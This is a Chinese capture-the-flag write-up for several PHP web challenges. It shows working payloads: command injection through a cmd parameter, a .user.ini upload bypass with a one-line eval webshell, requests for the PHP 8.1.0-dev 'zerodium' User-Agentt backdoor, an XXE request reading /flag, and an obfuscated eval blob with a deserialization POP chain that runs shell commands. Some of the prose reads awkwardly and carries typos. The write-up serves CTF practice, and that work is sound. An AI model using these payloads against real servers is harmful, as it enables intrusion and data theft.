CTFSHOW和青少年CTFweb刷题
WEB12
打开环境后得到这样一句话

查看一下源代码,提示我们进行传参,进行命令执行

进行传参,确认可以进行命令执行
?cmd=phpinfo();

那我们接下来就是用命令执行查找flag
?cmd=system('ls');
发现该方法并不可行。题目提供了提示并明确指出必须调用glob() 函数 和highlight_file()函数进行操作。

glob函数
该函数提供符合指定模式的文件及目录名称所组成的数组。 该函数生成一组符合要求的文件及 directories 的名称列表。 如果无法找到结果则会返回 FALSE。
该函数提供符合指定模式的文件及 directories 名称所组成的数组。 该函数生成一组符合要求的 files 和 directories 的名称列表。 在无法找到结果时会返回 FALSE。
简单来说就是 glob()函数 是一种用于搜索文件的工具,并且通常会与通配符结合使用以遍历目录。

highlight_file()函数
hightlight_file()可以使文件内容高亮显示, 常用于读取文件内容

我们使用glob函数来遍历目录,再用print_r函数将目录打印出来
?cmd=print_r(glob('*'));

遍历结束后获得了两个文件。
我们逐一排查这些文件。
机会稍纵即逝不可再得。
flag位于指定路径中。
我们使用hightlight_file()函数使文件内容高亮显示,得到flag
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

web13
打开环境,发现是文件上传

上传一句话木马,并抓包看一看

提示文件太大了,使用dirsearch扫一扫看看有什么文件

发现了uoload.php文件,请尝试无法直接打开查看是否存在备份文件。通过访问upload.php.bak获取了源代码。
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
该系统规定文件大小不超过24,并且文件名称以及扩展名的长度均不超过9和3,并且不允许使用以.php结尾的名称。
一句话木马是超过24个字符的
这里我们无法通过htaccess进行设置(不可行),但我们可以尝试通过.user.ini文件进行操作(之前的操作)。很久没接触过这个配置文件了(以前的操作),想起来还是有点模糊(记忆)。
.user.ini
php.ini是php的核心配置文件,在 PHP 启动时被读取,那么web目录的其他ini文件也是可以被php识别
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
有时候我们进行文件上传的时候,站点不仅在前端做了白名单处理,还在后端做了黑名单处理以及文件类型的检验且服务器没有配置"AddType application/x-httpd-php .php .phtml",这时我们就不能通过简单的绕过前端验证修改数据包的Content-Type并将文件后缀改为phtml以此来利用文件上传漏洞。
我们构造.user.ini文件
auto_prepend_file=1.jpg
再构造一个1.txt文件,里面编写一个大小不超过24的一句话木马
<?php eval($_POST['x']);
先上传1.txt文件再上传.user.ini文件,上传成功
然后我们访问1.txt进行命令执行
x=system('ls');

x=system('ls /');

未检测到flag标志, 但反倒是意外地发现了一个异常的文件路径命名:903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php
访问它得到flag
x=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

PHP的后门
打开环境,查看源代码没有任何线索

它提示可能与PHP的版本有关 ,抓包看一看

发现了线索

去搜一搜
PHP 8.1.0-dev 后门远程命令执行漏洞演示-腾讯云开发者社区-腾讯云
PHP 8.1.0-dev 漏洞原理:
攻击者借助拥有git权限的账户发布了一个恶意提交,赋予了zlib扩展模块附加一个后门程序。如果该漏洞影响到运行PHP服务的应用程序,则可使未授权访问者运行其选定指令。当检测到客户端发送带有字符串zerodium的独特HTTP头信息时,就需要调用eval函数处理用户Agent字符串中的第八个字符及其后续部分。通过此漏洞机制,攻击者能够发起各种类型的网络攻击行动。
我们直接构造User-Agent
User-Agentt:zerodiumsystem("ls");

User-Agentt:zerodiumsystem("ls /");

User-Agentt:zerodiumsystem("cat /flag");

PHP的XXE
XXE(XML External Entity)是一种专门针对XML解析器的攻击手段,在其影响下可能会导致严重的安全风险;它也可被称为基于外部实体的注入攻击;在应用程序解析用户的XML输入时若未正确配置或过滤外部实体,则可能被用来实施恶意行为
XML允许多文档之间通过引用外部实体实现数据共享。这些外部实体可从本地文件、远程网络URL或其他指定来源获取数据。当应用程序解析包含恶意外部实体的XML输入且未采取适当防护措施时?攻击者可能读取敏感文件运行远程代码并发起其他恶意攻击。
这篇文章助你全面解析了XXE漏洞这一类网络安全问题的具体表现形式与危害性——来自先知社区的内容
打开环境,发现是phpinfo();的界面,题目已经给了提示是XXE

我们直接抓包构造XXE得到flag


GET /simplexml_load_string.php HTTP/1.1
Host: challenge.qsnctf.com:31132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: td_cookie=3096206426
Upgrade-Insecure-Requests: 1
Priority: u=1
Content-Length: 185
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root>
<name>
&xxe;
</name>
</root>
雏形系统
某天恰逢公司里的技术人员小王遭遇 layoff 的日子,在此期间这位同事未曾放松自我。当离别时刻即将来临之际,小王忽然产生了一种想法:特意留下一份特别的礼物作为纪念;随后,在离别前的一刻钟间内,他设计并完成了登录页面的一个草稿。
打开环境是一个登录界面,什么都没有,使用dirsearch扫一扫


发现了www.zip,访问下载文件,得到两个文件
robots.txt

qsnctf.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Page</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f0f0f0;
padding: 20px;
}
.container {
max-width: 400px;
margin: 0 auto;
background-color: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
.alert {
padding: 10px;
background-color: #f8d7da;
color: #721c24;
border-radius: 5px;
margin-bottom: 10px;
}
form {
margin-bottom: 20px;
}
form input[type="text"],
form input[type="password"],
form input[type="submit"] {
width: 100%;
padding: 10px;
margin-bottom: 10px;
border: 1px solid #ccc;
border-radius: 3px;
}
form input[type="submit"] {
background-color: #007bff;
color: #fff;
border: none;
cursor: pointer;
}
</style>
</head>
<body>
<div class="container">
<h1>Welcome to the login testing page!</h1>
<hr>
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TXFzMCtpYzV4cWdDWFltVU1uQk5VU216VVNtelVTdDBUU216VVNtelVTbWZwWWM1WFlnUG9sSGZNbGtGQkljRjBUbVA3bUh6VVNtelVTbXpVU216VVNnUHBUbVEwaWdQeEVENXhJYVU5d1JZSGwzZGtoSGJkWWd2TXFzMCtiY1lQd0Qwa0ljUGtpdFFQSWM0a1RHTlVTbXpVU216VVNtelVTbWY3bUh6VVNtelVTbXpVU216VVNtelVTbWZQYjJ2b1NtUTBpZ1B4RUQ1TWxrUVBsa1FNbDI0N21IelVTbXpVU216VVNtelVTdDBUU216VVNtelVTbXpVU216VUljRk5sc3pIOGgrSXZETDQ1bFRmOGgrU2pIUzdtSHpVU216VVNtelVWR05VU216VVZHTlRTbXpVU2dGamJhRnhTTFFQbGM4VFNtelVTdGpUU216VVNtelVTbWZCWWNoamljQVVoZ0w3bUh6VVNtelVTbXpVcTNRdllnUFhTZ0kxbHBGMGljOXVTZTlWYjJlamxlRjBiYVFNYnNVZGJjRjBpYzl1RW16ZElnOE1tSHpVU216VVNtelVLQk5VU216VVNtelVTbXpVU21ma2xnOUhiY0JVaGdTN21IelVTbXpVU216VVNtelVTbVFIVG1RZGwxakJhUmQ3bUh6VVNtelVTbXpVVkdOVVNtelVWR05UU216VVNtUUhTTzBVaGU5R0QxRlpjc1lCYmFGeFkyOXNJbVlZbkJOVVNtelVoZ0xVd1J6ZGExZndaMVFsaDNDeElhaHViYzFQaDEwN21IelVTbWZ6WWM1eElhaE1iY1dNS3BaTmhnTE1uQk5VU216VWljYlVUbWVNcTNGUFltVWRiSGRNU3RqVFNtelVTbXpVU21mUGIydm9TbVM5d0QwOXdEMDl3RDA5d0QwOXdEMDl3RDFHRGVOVVJjNUJZYUdVY2M5MXFIZm5iYzFQU0QwOXdEMDl3RDA5d0QwOXdEMDl3RDA5d1JTN21IelVTbWY5bUh6VVNtZk1JSFVkYkQwOWgyZWRsY1B1aHNicGhnUzl3UlNraXhlcFljdjFoM0FVWWdDeFltZmRJYzFvU0hkVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>
<form method="POST">
<input type="text" name="username" placeholder="Username" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Login">
</form>
</div>
</body>
</html>
看到了一堆不懂的代码
实施方法步骤解密工作:深入解析奇安信攻防社区中的PhpJm混淆解密技术
得到
<?php
error_reporting(0);
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "🙅18岁🈲";
}
}
class Demo
{
public $a;
static function __callStatic($action, $do)
{
global $b;
$b($do[0]);
}
}
$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
echo("登录成功");
}
?>
。。。。反序列化
我们构造POP链
wo __destruct -> shi __toString -> Demo __callStatic
构造反序列化
<?php
class shi{}
class wo{}
class Demo{}
$c=new Demo();
$b=new shi();
$a=new wo();
$a->sex='boy';
$a->age='eighteen';
$a->intention=$b;
$b->next=$c;
$b->pass='cat /f*';
echo serialize($a);

得到
O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":0:{}s:4:"pass";s:7:"cat /f*";}}
构造url: 得到flag
username 被设置为一个包含详细参数的字符串;并 password 被设置为 system

